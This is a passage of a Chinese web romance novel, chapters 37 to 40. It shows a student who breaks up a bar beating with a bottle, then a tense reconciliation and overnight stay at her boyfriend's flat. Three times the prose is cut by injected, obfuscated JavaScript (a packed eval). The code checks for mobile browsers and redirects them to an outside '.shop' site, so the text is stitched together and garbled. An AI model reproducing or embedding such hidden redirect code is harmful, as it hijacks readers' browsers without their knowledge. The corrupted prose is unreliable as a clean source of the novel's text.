“余萧弋。”她抓住他,不确定自己的眼神有没有迷离,但很确定她的大脑还是清醒的,“我前二十年大多数时间都在低头读书,这还是我第一次知道成年人的世界有这么多让人快乐的东西,我爸说,我要是在这边学坏了,他准要打断我的腿,只是喝两杯酒,算不上学坏吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,就已经大步走下舞台,伸手揽住了叶子瑜的脖子,带着他向酒吧门口走去。 观众还以为他们是朋友,看着叶子瑜腿脚不便,自觉让了一条路来给他们。 小初的瞳孔却蓦地收缩了起来,酒瞬间醒了大半。 他们不是朋友。 因为朋友不会毫不顾忌另一个人腿上的伤,以那样的姿势把他拖出去。 那个吉他手一看平时就是健身的,敞口马甲下的手臂和胸腹部都是紧实的肌肉,很有力量感,只是个子不高,比叶子瑜这个北方大男孩足足矮了半个头,要不是叶子瑜腿上带着伤,是绝对不可能被他挟持住的。 这什么情况? 小初未及多想,站起身就大步向楼下跑去,离开前还没忘顺走窗边一支用来装饰氛围的空酒瓶,她也不知道自己为什么会有这样本能的反应,但本能就是本能,她嗅到了危险,仿佛再晚一秒,叶子瑜就要从这个世界上消失了。 等余萧弋反应过来的时候,她已经跑到两层楼中间了。 铭仔在他们身后大喊:“方太初怎么了,她看见谁了?” 余萧弋已经没空回答他,他只是感觉自己浑身的血液正在加速倒流。 一群人赶紧跟着跑了出去。 男人把叶子瑜丢到门外,上去就一阵拳打脚踢,一边打,还一边用粤语骂着什么。 门口不明所以的食客都躲到了一边去,谁也没有上来劝解。 有人掏出手机开始拍照和录视频。 喝了酒的神经格外兴奋,所有人看上去都很快乐。 叶子瑜嘴角的血流了下来,他爬了两步想去抓不远处的拐杖,还未等他触到,男子就泄愤似的将拐杖踢到了更远的地方。 他的狼狈模样不仅没有激起围观人群的同情心,有个喝醉了酒的老外甚至放声大笑。 叶子瑜知道他不会让他抓到拐杖了,索性也不再挣扎,用普通话质问道,“你把Oliver带到哪去了?你没资格这么做!” 男子叫骂着:“关你他妈什么事,我儿子我想带去哪就带去哪!” “他是阿沅一手带大的,你只是他生物学上的父亲,他长这么大,你有尽过一天做父亲的责任吗?” 男子被激怒,抬脚就往叶子瑜受伤的那条腿踹过去,“你这个大陆来的死扑街,同我玩嘢?阿沅也是你叫的?” “子瑜!”小初冲出门去,眼泪早已糊了整张脸,然后她想都没想,手里的酒瓶就照着男子的脑袋敲了下去。 “别碰他。”她几乎是从牙缝里挤出的这三个字。 地上的男孩曾经是北方天空下最磊落和骄傲的那棵白杨,更是她无比美好的一整个青春,他们凭什么这么欺负他? “方太初!” 玻璃的碎裂声没有等来,等来的却是余萧弋一声很无助的叹息,“你疯了?” 她整个人都被他从背后抱在了怀里,双臂被死死箍住,酒瓶低垂着,这一秒,随着她手指一松,才落在地上,竟然也没有碎,而是荒诞地顺着长坡滚了下去。 滚了很远很远,还没有停。 铭仔一群人上去拦住了那个打人的吉他手。 那一脚最终没有踹下去。 小初如梦初醒,却不知道该怎么回头去面对那张绝望的脸。 叶子瑜抹了抹流血的唇角,眼底猩红,却仍然用力朝她笑着:“方太初,你怎么也在这?” 小初一直一直在哭,虽然,她也说不清她是在为什么而哭了。 原来,成年人的世界不仅有快乐。 有的更多是,永远填不满的遗憾和回不去的从前。 还有怎么做都无可避免会伤害到的人。 长大,太痛了。 38.第 38 章 余萧弋松开小初,绕到她面前,俯下身来看着她的眼睛,镇静地告诉她:“没事了。” 在与他目光相对的那一刹,小初终于从怔忡中回过神来,眼泪虽在汹涌,大脑总算开始启动和加载。 后怕在这会儿才真正袭来,她不敢想象刚刚那个酒瓶真的碎在那个男人的脑袋上,事态现在会发展成怎么样。最终要花钱解决是肯定的,钱对她而言倒不是问题,但精力和时间没有办法用钱衡量。 还要面对后续可能的无穷无尽的麻烦。 叶子瑜和他的因果真的值得她如此吗? 她不知道。 但那一瞬间的本能,不会骗人。她很清楚,她相信另外两个当事人也清楚。 她对他还是爱情吗? 她不知道。 她只知道,她绝不吝于把自己所剩无几的少年意气全部送给叶子瑜,祝他和他的阿沅得偿所愿,可如果当事人换成余萧弋呢,她还愿意付出搭上自己的代价成全他和杨敏中吗? 小初静了静,让自己的惊惶不安和混乱艰涩的情感缓缓从四肢流回心脏,暂时封存。 手脚终于可以动了,她立刻回过身去抹了抹脸上残留的眼泪。 余萧弋已经把叶子瑜从地上扶了起来,铭仔递过一旁的拐杖,叶子瑜道谢,借着支撑稳稳站好,又用拇指用力抹了抹嘴角的血迹,然后,意味不明地笑了笑,看向那个吉他手的目光深邃中又带着些许戏谑,显然根本就没有把他放在眼里。 小初心中一动。 酒吧老板从里面走了出来,覆在吉他手耳边耳语了一会儿,不用猜,她也知道他跟他都说了些什么,因为很快,吉他手的目光就凝重了下来,并谨慎打量了下余萧弋一行人。 小初走到叶子瑜身边,眼角余光掠过心情显然不太好的余萧弋,才开口:“你怎么样?腿有没有二次受伤?”她向前一步,又认真看了看他,“牙没被人家打掉吧?” 叶子瑜还没说话,余萧弋先面无表情看了她一眼。 小初只装作浑然不觉,继续说道:“你能不能争点气,怎么到哪都能被人欺负,在北京被人家按在胡同口揍,到这来被人家按在酒吧门口揍,你就算真跟他有什么私人恩怨,也等你腿伤好了再说啊?再不济你也要喊人啊,你是真当你孤家寡人没朋友了是吗?北京太远,深圳总够近吧?凑一两百个人有点夸张,凑十个八个总不成问题吧,你真是气死我了。” 话音一落,所有人的表情都变得很古怪。 铭仔和陈嘉言他们也凑了过来,团团将他们三人围住,问余萧弋,“Theo,这位是?” 余萧弋沉默了一瞬,自然而然开口,“方太初的表哥。” 什么东西? 小初和叶子瑜都不敢相信自己听到了什么,睫毛均剧烈一颤。 他竟然为了自己作为男人的面子,给她们虚构了一门表亲? “原来是表哥!”铭仔义愤填膺走上前去,直指吉他手的面门,“你跟我表哥什么私人恩怨,能坐下来解决吗?或者让双方的律师谈?如果没记错,香港还是法治社会吧?今天他无缘无故被你打成这样,这事没完。”铭仔看向酒吧老板,“一会儿警察来了,记得提供下你店门口的监控录像。” 酒吧老板陪笑道:“林先生,Alan在我们这表演很久了,向来是个很守规矩的人,这里面一定有什么误会。” 铭仔说:“是不是误会,你和我都说了不算。” “是,是。” 那个Alan始终没再说话,似是以缄默最大程度地保护着自己,态度到底没了最开始的嚣张。 他的乐队成员也从酒吧里走了出来,无声地站在了他身边,萨克斯手是个满脸大胡子的老外,不笑的样子很有些不好惹。 两班人马以酒吧老板为中心,分散而立,气势上谁都没输。 叶子瑜抬眸过去看向Alan,眼底的冷意不减,言语却很克制:“你稍微等下,警察几分钟之内就会到现场。关于Oliver抚养权变更的问题,阿沅的态度不会有任何改变,作为父亲,还请你以小朋友的身心健康为第一考虑,不要去试图改变他的成长环境。而且你也看见了,你的作息这么混乱,脾气又这么暴躁,你觉得法庭会支持你吗?” Alan惊疑不定地看向他:“你是报了警来的?” 叶子瑜不答,只是示意小初和余萧弋陪他往远离人群的地方走了几步,“今天谢谢你们啊,不然,我这条腿恐怕还得再断一次。” 小初眸底闪过一抹碎光:“但我怎么感觉你还挺想再断一次的呢。” 叶子瑜笑:“你感觉错误,这条腿已经耽误我很多事了,再断一次……我估计我会疯,我心理承受能力没有你想得那么强大。” 余萧弋沉吟了一下:“叶同学还有什么需要我们帮助的吗?” 叶子瑜微微敛眸,笑容不减,“不必了余同学,今天已经够狐假虎威的了,我这个人呢不太喜欢麻烦人,自己的事情还是更想自己处理。” 小初大概也明白了他想做什么,低声问他:“你竟然愿意为了她……” 叶子瑜打断她,丝毫没有犹豫,“我愿意,她的事就是我的事。” 小初愣了愣,世界突然安静得不像话。 一颗心很空,不是难过,不是失望,只是她突然意识到,他并不是不会暴烈地爱一个人,他只是不爱她。 “就算如此。”小初抿了抿唇,“你也要给自己留点退路吧?万一真出什么事,你要连筝阿姨他们怎么办?” 叶子瑜自嘲:“这个你大可放心,连筝和叶城森没了我,只会活得更从容。他们有他们自己的亲生女儿,感情还不至于无处投放。方太初,我早过了特把自己当回事的那个阶段了。” 这是什么没良心的话? “你说得很对。”小初抬手,照着他的头就打了一下,“这世上就你的阿沅需要你,值得你付出和在乎,其他人,一概不重要。” 叶子瑜和余萧弋都没想到她会这么做,同时目光复杂地看向她。 不远处的铭仔一行人也露出了惊诧和不解的神色,这怎么好好的,表妹还打起表哥来了,刚刚不是还拎着酒瓶要为他拼命呢吗? “刚才那一下是替连筝阿姨打的。”小初的眼泪无声无息流了下来,眼角和唇角却是勾着的,几年以来压抑的情感都在着一刻释放开来,“这一下是为我自己。” 她扬起手,想要去打他的脸,最后却还是无力停住,眼泪在唇边堆积成一个小小的湖,再落到锁骨上,然后一路向下,“算了,叶子瑜。我们扯平了。你的腿之前因为我而受伤,今天我把我所有不顾后果的冲动都还给了你,从今往后,不会再有一个蠢不可及的方太初来烦你,影响你做任何你觉得正确的决定。祝你和你的阿沅,幸福。” 叶子瑜若有所思地看了看她,就算克制到了极致,还是再一次陪着她一块红了眼睛。 “我没有说你烦。” 小初摆手,“不重要了。”又转向余萧弋,“我要回去了,你呢,是陪你朋友在这继续喝一会儿,还是跟我一块走?” 余萧弋似笑非笑看她一眼,目光微沉,“恐怕方小姐你一时走不了呢,监控录像肯定把你冲动行凶的画面都拍下来了,你不留下来跟阿Sir解释,后面也会被对方找上门去的。” “……”小初瞪他,“你乱说什么?我不是行凶好吧,我只是……” “你只是什么?” “我只是坐太久了肩膀痛,出来锻炼下身体而已。我跟那个叫什么Alan的无冤无仇,我行什么凶,我离他还有一两米远呢好吧,我又不是长臂猿,手可以伸那么长。” 余萧弋眯了眯眸子,“OK,一会儿阿Sir来了,你就这么跟他说。” 一行人终究是等警察到现场做了笔录才各自散去。 小初对叶子瑜和陈沅君前夫之间的纠葛不感兴趣,临行前只说了句:“希望你们都是真心为了小朋友好,而不是赌一时之气。大人之间自我感动争来争去,在小朋友那里未必是什么值得歌颂的事,他只会害怕,觉得自己才是问题所在,害爸爸妈妈反目成仇。” 说完这句话,她就拦住了路边的计程车,将自己塞了进去。余萧弋也跟着她坐到了车子后排。 Alan和叶子瑜都看着她离开的方向发了会儿呆。 出租车司机问小初目的地是哪里,小初没答,余萧弋于是替她报了她宿舍名字。 车子启动。 接下来,两人都没说话,各自看着窗外想着心事。 快到小初宿舍,余萧弋却突然改了主意,报了另外一个地址给司机,“麻烦帮我改到这里。” 小初愕然看向他。 司机开晚班就已经很不耐烦了,还要应付这样搞不清状况的乘客,下一秒就要发火,不期一张大额港币已经递到面前,余萧弋的嗓音清冷而不带任何情感,所有的客气只是出于教养,“麻烦。” 司机立刻笑逐颜开: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16374112|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀,哪有麻烦,两个地点本来就不远,很方便的。” 下了车,小初才知道,原来他住的地方就在学校附近,和她的宿舍就隔了条街,上次他们一块吃韩餐的地方,就能清晰看见这栋公寓在夜色中的剪影。 “租的?” 余萧弋咳嗽一声,“嗯。”顿了顿,又补充道,“应该也住不久了,毕竟你知道……” “我知道。”小初打断他,“明年你就要去美国了。” 余萧弋沉默。 两人站在街边,没有上楼的意思,却也没有挪动半分,这边离山顶比较近,山风吹过来,将小初的头发高高吹起,月亮形状的钻石耳饰闪着璀璨的光。 小初有些脆弱,向前一步将下巴抵在他的胸前,声音很低:“为什么改主意?” 余萧弋身体一僵,坦诚道:“我不知道。” 小初的眼泪落下来,浸湿了他的黑色线衫,“你还想我进入你的生活吗?” “方太初,你想没想过刚刚那个酒瓶真的敲在那个人的头上,你要怎么收场?”余萧弋的声音很疲惫,第一次没有抱她。 小初在他怀里蹭了蹭,瓮声瓮气,“没想。大概率,要赔钱吧?” “赔钱?”余萧弋笑得荒谬,“若他死了呢?” “死?”小初惊住,仰头看向他,“他会死?电视剧里可不是这么演的。” “电视剧里是道具,角色死不死取决于导演和编剧,现实里,只是摔个跤都可能意外死亡,你怎么知道你不会恰好要了他的命?” 小初没办法回答他这个假设性的问题,因为她下楼的那一刻,确实完全没有想过这件事可能造成的后果。 “叶子瑜有那么重要吗?”余萧弋淡笑,没有低头,只微微垂眸看着她的眼睛,“你竟然可以为了他完全不顾自己?” 小初说不出话。 “所以,你不是慢热,只是你没办法同样那么暴烈地爱我……”余萧弋本想再云淡风轻一点的,可就在这一秒,话只说一半,眼睛就已经红得不成样子,眼泪一滴一滴落下来,落在她的脸上,再慢慢流向她唇边。 “不是的。”小初一边哭一边否认,“事情不是你想的那样。” “方太初。”他哽住声音,“我也不是没有人爱的人,我也有我的骄傲和自尊,可你却这么对我,还要当着我那么多朋友。刚刚我说他是你表哥的时候,你知道我心里有多鄙视自己吗?可如果不那样,我简直不知道自己该以怎样的立场继续站在那里,你对我很残忍,你知道吗?” “我知道,对不起。”小初哭到不能自已,又垫脚去吻他的唇,可这一次,他再没有给她任何回应,只是那样双手插袋站在那里无动于衷地看着她。 像一具矗立了几千年的雕塑,任自己怎么努力,都没有办法变成真正的人类,与人类情感相通。 他尽力了。 小初知道。 一切都被她搞砸了。 现在该怎么办? “你要分手也可以的,只要你说出来,我现在就走,绝不会回头,再不会给你造成什么伤害和困扰。”小初抚了抚他的脸,“你说吧,这样以后回忆起来,起码你心里还能平衡一点,告诉自己是你甩的我。这件事错误在我,我就不应该在没处理清楚上一段感情的前提下同意和你交往,这对你不公平,对我自己也不公平,对不起。” 小初退后两步,回身过去抹了抹眼泪。 再看向他,情绪已经平复了很多。 “余萧弋,再见。”她朝他弯了弯眼睛,然后点开了打车软件。 她要尽快离开这里。 不能让他看见自己更脆弱的样子,她今天已经丢了足够的脸了,不能再丢更多了。 余萧弋说不出再见。 他只是用力掐着自己的手心,逼迫自己向通往公寓的小路大步走去。 可还没走出去五十米,他就猛然转了身,很快,小初就被他横着抱进了怀里,吻铺天盖地落了下来。 万幸,接她的车还没有来。 小初不明白他为什么突然改变了主意,只是紧紧地抓住了他的衣服,闭上了眼睛。 接下来的一路摇摇晃晃,她始终紧张地并着腿,直至耳边传来他操作密码锁的声音。 一条白色小狗风一样从屋里跑了出来,看着出现在门口的陌生人,不解地歪了歪头。 “Enzo,这就是我和你说的,方太初。” 小狗围着他们转起了圈。 39.第 39 章 小初静静伏在余萧弋肩头,看了会儿地上的小狗,又大概看了下他居住的环境,直至他轻声提醒她,“要不要先下来?” 小初有些不好意思,这才从他身上滑了下来,在地板上站定。 这是一间一室一厅的小公寓,面积不大,目测也就五六十平,但格局还算明晰。房子里的生活气息很浓,却并不会给人杂乱无章的感觉,到处都很干净,连垃圾桶都清洁如新。 客厅里没有电视,原本电视墙的位置由书架和音响代替,书架上的书粗粗看过去品类很杂,但明显都有翻动过的痕迹。 阳台放的是小狗的窝和跑步机,晾衣杆上挂着他几件家居服,小初的目光在碰到他的内裤和袜子时凝滞了一下,又倏忽避开。她有点想象不了外表如此朗月清风的男人……也会和这样的生活细节联系到一起。 小狗来扯她的裙角,小初垂眸,视线轻转时自然而然看见了插着电的电子琴以及沙发脚边的哑铃。 倒扣在茶几上的书翻了一大半,书脊上印的赫然是——繁体字版本的《我与地坛》。 小初心头不知被什么戳中,有些温软,她蹲下身来,打招呼道,“你好呀,Enzo。” 余萧弋从鞋柜里拿了双酒店拖鞋来,亲自拆开包装俯身放到她脚边,“你换这个吧。” 小初拘谨地应声,没敢看他的眼睛,“你也会带酒店拖鞋回来吗?” “当然,因为舒服啊。” 小初撑住墙,微微弯腰去解凉鞋的带子,因为是单手操作,指尖在那个带扣上停留了很久也没解开。 余萧弋等了一会儿,最终还是一句话没说蹲下去帮她把两只鞋的带子都解了,他手指碰到她脚踝的时候,两人的呼吸都滞涩地停了停。 小初坐到沙发上,余萧弋倒了杯水给她,不经意问道,“房间里味道会奇怪吗?” “啊?为什么会奇怪?” “因为……是男生宿舍啊,尤其我还养狗。” 小初摇摇头,“没有,除了有点狗味,其他还好。” 余萧弋和她对视了两秒,转身又回到了玄关处,他来回走动的时候,小狗就亦步亦趋跟在后面,画面看着很可爱。 小初一开始还没明白他意欲何为,直至他打开一瓶类似喷雾的东西。 “Enzo,趴下。” 小初放下水杯也走了过去,已经意识到了什么,“这是……” 余萧弋淡声答道:“宠物除臭剂。” 果然…… “我就随口那么一说,你不用当真。”小初的脸都快红透了,“这东西没有副作用吧?” “没有,这是宠物专用的,成分主要是蛋白酶,配方很安全的。” 余萧弋给小狗喷喷雾的时候,它就乖乖配合他趴在那里,可爱得简直有些犯规。小初一颗心柔软下来,也跟着蹲下了身子,摸了摸它的头,又握了握它的爪子。 “它性格真好,好像都不怎么怕生的。”小初眼底滑过一丝了然,“一定是你经常带朋友回来,它已经习惯了吧?” “你是第一个。”余萧弋抬眸看她一眼,“我没有向谁都开放私人领地的喜好。” “我不是那个意思。”小初腹诽,他今晚怎么这么尖锐,但还是好脾气地解释道:“我是说铭仔他们,陈嘉言不是说有段时间你们俩住在一起吗?” “那都是好几年前的事了,说的是我爸妈那边。” 小初“哦”了一声,站起身来。 余萧弋也跟着起了身,又把门口的地垫和阳台的狗窝喷了点喷雾。 小初的目光始终跟随着他,却又不知道该跟他说些什么,他身上的衣服刚刚被她抓得有些皱,反而给他增添了很多柔软,不然,单是看着他那张冷冰冰的脸,她就已经要抬腿走人了。 她长这么大,从来都是被爱被照顾情绪的那一个,就算是叶子瑜,在两人关系捅破之前,对她也是极为在意和迁就的。 她知道自己肯定不算什么缺乏同理心的人,但也不可否认,她在维护人际关系上的确欠缺一点耐心,不是她不肯,而是她就没有这方面的经验。 所以,她知道他现在很受挫,心情很不好,但是她不知道该怎么安慰,怎么哄。 事已至此,她还能说什么呢,不过是他一句话,要继续还是不要,不要的话她现在就走好了,她看了看表,已经十点半了,再晚就到宿舍夜间门禁时间了。 余萧弋从阳台走过来,刚好捕捉到小初在看表,眸色顿时晦暗下来,问她:“你在干嘛?” 小初抿抿唇,有些紧张,“没,就是我觉得我该回去了。” “你才进门不到五分钟。”他向她走来。 “我知道。”小初感受到压力,退后半步,“但是今天已经很晚了。” “方太初,喜欢我对你而言有这么痛苦吗?” 他已走到她面前。 眼底的侵略性已氤氲到了十足。 小初有些害怕,再向后半步,抵在了餐桌上,“你说笑什么,凭你余公子,整个香江只有你挑剔别人的份吧,谁会把喜欢你当成一种痛苦。” “是吗?”余萧弋笑笑,“可是我并没有感受到你有把我些东西放在心上过。” 小初说:“我装的,我还没有露出我的獠牙。” “那你想要什么?”余萧弋的声音逐渐低不可闻。 “什么?” “你想要什么,我都可以给你,只要你能像义无反顾爱别人那样爱我。” 他贴上她,指腹停在她的唇角。 “余萧弋,你疯了?”小初难以置信,“你又不是没人爱的人,何必把姿态放得这么低。” “我的确不是,可我愿意为自己这辈子第一次这么深刻的动心付出一点代价。” 小初坦诚,“很遗憾,我不喜欢在恋爱关系里让渡太多自我的人。” 余萧弋冷笑,“所以你才喜欢叶子瑜,因为他从来不会为你停留,改变,甚至不会顾及你的感受,你就只喜欢这种不把你放在心上的人是吧?方太初,你是不是从小到大得到的爱太多了,所以想找一点虐?不这样,你不舒服?” 小初愣住,他的直白让她无所适从,她感觉到了危险,却不知道该怎么逃出他的禁锢,整个背都是紧绷的。 “你要什么?钱,或是其他的什么?还是你要我也像他那样不在乎你?” 他知不知道他在说什么? 小初本来应该很生气的,可不知怎么只剩下无力感。 “余萧弋,别这样。”她推了推他,“这样没意思,你当初也说了的,你只要我半点心,你现在要的已经超出了。” 他自嘲笑笑,“可你连半点心都没有给我。” “你是不是喝酒喝出脑雾来了?”小初没好气瞪他一眼,“半点心没给你,你觉得我会跟你……”她说不下去,耳朵忽地烧起来,最后她也不想解释了,只说:“反正你要这么想我也没有办法。我说了我不喜欢在恋爱关系里让渡太多自我的人,我最多也只能给你半点心,另外一半还要留给我自己,时间不早了,我先回去了。”她指了指一旁地上的Enzo,“你的狗都熬不住了,它一直在打瞌睡。” 她的语速太快,余萧弋一时根本没反应过来她在说什么,只是下意识低头看了眼小狗,发现它确实一直在打瞌睡,这会儿听见他们两个提起它的名字才又勉强睁开了眼睛。 “Enzo,你回你自己窝里去睡。” 小狗得到了指令,这才一路小跑往阳台去了。 小初实在没忍住,笑出声来。 余萧弋难以置信,点了点她的额头,“还笑?” “它可爱嘛,我还不能笑一下?” “我也可爱,你怎么不对我笑。” 小初咬了咬唇,“我笑了,你看不见,我喜欢你,你也看不见,那我还能怎么办。” “你说什么?”余萧弋的瞳孔骤然一缩,本来还在谷底的情绪瞬间冲上云霄,他不自觉收紧了放在她腰间的手,声音哑下来,“再说一遍?我没太明白。” 小初也不知道自己这么哄人到底有没有效果,但她向来是个解题高手,最擅长举一反三,见他眼底阴霾这么快就有了散开的趋势,就知道自己大概又试对了,接下来她也不着急了,反而懵懂看了他一眼,“说什么?我刚才说了那么多。” “就……” 未等他说完,她就接上去,眉间都是戏谑,“哦,我说时间太晚了,你的狗都熬不住了,我也熬不住了,我要回去睡觉了。” 这一句,他倒是听得很明白,未及她反应过来他要做什么,就已经托住她腰部以下的浑圆将她轻轻放在了餐桌上,用吻回应了一切。没一会儿,空气里就只剩下了两人唇舌交融的水声。 小初被他吻得几乎支撑不住,又担心他的餐桌不够结实,不得不腾出一只手来向后撑住,却不小心碰到什么东西,被封在袋子里的半个面包连同纸巾盒齐齐从餐桌边缘滑了下去,发出一阵混乱的响声,可Enzo大概已经困极了,竟然在此种情况下都没有跑过来查看查看到底发什么,也不知是对它爹有多放心。 “可不可以不回去?” 余萧弋的吻一路从她的侧颈到她的耳骨,一种身体难以承受的酥麻感从比心底更深的地方涌了出来,小初第一次知道人的这个位置也会这么敏感,不自觉轻哼出声,绷直的脚尖摩擦过他的裤子上的纹路,所到之处,都变成了燃烧的荒原。 热浪灼烧得人几乎无法喘息。 “不可以。”小初艰难说出这三个字,“我还不想做那件事……” 这样的节奏是不对的,他们还这么年轻,相识时间又短,未来还有那么多不确定性,就要这么快尝到那颗成人糖吗?她甚至还不知道它会是什么滋味,甜的,辣的,还是苦的,吃了之后会不会有副作用和后遗症。 她不想两人这么快被情欲裹挟,从此后只是一个眼神的简单交错,事情都会无可避免朝那个唯一的方向而去,直至连那件唯一的事也开始变得乏味无趣。 余萧弋停住动作,没好气在她唇上印了印,“本来也没想做那件事,我在你心里是什么人啊方太初。” “男人,不可信任之人。”小初的目光不经意瞥了眼他腰腹以下,“你们身体里都住着一个思想混沌的野兽,满脑子都是下流想法。” 余萧弋扯过她的手,放在自己右侧的太阳穴上,“可是男人也是人,他也有感情和理智,也有道德和责任的束缚,真正爱你的人,是不会想着伤害你的。我答应你,只要你不想要,我们就一直不做,一辈子的时间很长,这世上有意思的事也不止这一件。” 小初犹疑地看向他。 余萧弋伸手越过她头顶,从餐桌上的柜子里拿出一瓶酒来递给她,“这个给你防身,一旦你察觉到我有什么危险,就用这个保护你自己,反正酒瓶爆头这件事你看上去也挺有经验的,毕竟是跟阿Sir做过笔录的人。” 小初本来还认真听着,可他越说越离谱,她实在没忍住,抬手轻轻在他脸上拍了拍,“你在拿我寻开心是不是?” 他捉住她的手,前所未有的认真,“你记着,以后这只手要打,也只能打我,下次再见到那个姓叶的,绕远一点走。” 小初咬咬牙:“那我现在就能成全你。” “可以留下来吗?”他仍在等她的答案。 小初咬咬唇,没吭声。 “那我就当你同意了啊。”他眉眼骤然明亮起来,点了点她的鼻子,“先去洗澡,记得洗干净一点,我不想要你掌心还残留着刚刚打过别人的味道。” “……” 小初看了看那瓶酒,很认真问道:“好像空酒瓶才比较顺手吧?” 余萧弋呼吸一滞:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“要我帮忙吗?”小初抱着浴巾,踌躇地问了句。 “你要帮忙?我一个人没问题的。”余萧弋猜不透她在想什么。 小初的脸有些红,“我……也可以帮忙的,两个人做不是能快一点嘛,你这个床……怎么这么大,晚上一个人睡得过来吗?” “因为我高啊,不想睡得太局促。” “哦。”小初想了想又问了句:“那你今天晚上怎么办?外面的沙发那么短。” 余萧弋的睫毛剧烈颤抖了一下,轻咳了一声,“一晚上而已,我能忍。” 小初认真思考了一下,像分析某道答案不唯一的难题,又引入了一个不能忽视的变量,“那我下次再来你还能忍吗?” “……”余萧弋感觉有点呼吸困难,“下,下次吗?” 小初点头:“对啊,余萧弋,我想和你好好恋爱的,不是一次两次,是很多很多次,我们会一块出去旅行,会有很多机会很亲密地相处,我不想你一直忍。” 两人隔着一张床,静静相望着。 余萧弋吞了吞口水,喉结涌动,“所以,你的意思是……” 小初打断他的旖旎情思,语气平静得像个还没有插入情感芯片AI:“要不你换个房子吧,房租我A一半好了。” “……” 余萧弋头朝下很无语地倒在了床上,半晌才朝她挥了挥手:“洗澡去吧,乖。” 小初抱着浴巾到了客厅,从包里找到了卸妆湿巾,想了想又去阳台拿了取了一身他的家居服下来,这样的上衣和短裤的搭配可以减少她很多尴尬。 余萧弋的品味很不错,家居服都是很有设计感的大牌,大牌的东西时尚起来向来很中性,她对着镜子在身上比了比,还没穿,就已经被自己帅到了。 她在心里由衷感谢了她爸妈,给了她这么一个优越的身高和骨相,让她可以毫无压力地驾驭大码男装。 他家的花洒水绵密又舒服,确实比在她们宿舍公共卫生间洗澡的感受好多了,热水流过身体的时候,小初忍不住发出一声喟叹,陌生的环境和气息让她有点紧张,镜子里曲线玲珑的女孩也瞪大眼睛羞涩地看着她,她用力晃了晃头,让自己专注洗澡,用力忘记就在另一个房间的床上,还有个秀色可餐的男人。 她嘴上说他不可信任,其实她对自己也没什么信心。因为,只要他一靠近,她的意志力就会软弱得不像话。 ——绝对不能被他蛊惑,一定要守好自己的底线。 她掌心攥着湿漉漉的内裤,像是背诵某个晦涩难懂的法条。 “方太初,你好了吗?” 突如其来的敲门声吓了小初一跳,连语气都变得紧张,“好,好了,怎么了?” “没事,我就看你洗时间太长了,怕你晕倒。” “马上出来。” 小初手忙脚乱擦干身体穿上衣服,又用浴巾裹了裹头发,才抱着她的裙子和内衣若无其事走出去。 她出去的时候,余萧弋正坐在沙发上翻那本《我与地坛》,门把手转动声响起,他便条件反射似的抬起了头,目光对视的下一秒,他就又别开了视线,不再敢看她湿漉漉的模样。 “床单换好了?”小初问他。 “嗯。”他合上书页,站起身。 小初自认为自己已经包裹得无懈可击,又不想两人之间气氛太暧昧,只能尽力找些无关紧要的话题来聊:“这本书好看吗?” “好看,作者文笔很好。” 小初轻笑:“那不然呢,你也不看看作者大名?” 余萧弋迅速瞥她一眼:“下次去北京,一定去地坛看看。” “下次我带你去。” “真的?” “嗯。”小初偏头,指尖揉搓着半湿的浴巾,问他:“我没看见你的洗衣筐。” “给我就好。” 他下意识伸手,两人指尖相碰。 空气内温热的水汽蒸腾着,她发梢的水不小心滴到他的手背上,明明是静音的,却又同时让两颗心一阵震颤。 画面突然莫名很像某部氛围感潮湿的青春电影,青涩和情欲混杂涌动,那么矛盾却又那么和谐,一切都在自然而然地发生。 40.第 40 章 托黄亦玫的福,方太初的头发柔软又浓密,每次洗头都要浪费她好长时间。 余萧弋从卫生间出来的时候,她还在和她的头发叫着劲,一头长发被吹风机吹得到处翻涌,听见开门声,她即刻转过头去,朝他笑:“你看我的头发,像不像海浪?” “还真。”他笑,“还没吹干吗?看来我们要换一个大功率的吹风机才行了。” 余萧弋穿了身纯棉的黑色家居服,一边走一边用毛巾擦着湿发,他头发本来就长,发丝又硬,这会儿额前都头发都是竖着的,看着特意气风发。 ——我们。 小初的晦暗的眼神往微微低垂的睫毛阴影里掩了掩,待他快到面前时,她突然赤脚在沙发上站了起来,让吹风机的风吹了他一脸,面上的得逞明晃晃,居高临下地看着他,“你不要脸,谁跟你‘我们’?才不过在你家留宿一晚,你就把人看做你囊中之物了。” 余萧弋愣了愣,而后索性向前一步,朝她挑挑眉,“劳烦方小姐,风再开大一档,我头发短,顶多浪费你一分钟。” 小初咬唇,说他不要脸,他还真来劲了,她连自己头发都不耐烦吹,谁要帮他吹啊? “可以吗?”他仰头看着她,眼底都是头顶吊灯璀璨的倒影。 小初没抵住这样的蛊惑,到底还是用吹风机的风声代替了自己的回答,手指插进他发丝那一刻,她的心神差点陷在那个潮湿的触感里走不出来。她之前总说——不就是一个男的吗?现在才有点明白,男色这东西还真不是人单靠意志力就能戒掉的。 造物主为了让人类繁衍下去,真是什么阴招都使上了。 一分钟结束,吹风机都被她关掉了,指尖他发丝缠绕的感觉还没有彻底散去,她悄悄将它握在了掌心。 “多谢。”余萧弋艰涩开口。 小初察觉到他声音的异样,不解地垂眸看向他。 “你穿这身衣服真好看。”他只说了这一句,就别过了头去。 但小初还是瞥见了他无意识滚动的喉结。 “是你的衣服本来就好看吧。”她有些不解,可待她视线下落,并终于发现她身上他的这套衣服是真丝的,而就在刚刚那短短一分钟,他们这个站位,她胸前一览无余的形状已经被他尽收眼底时,她才想起来……她没没穿内衣。 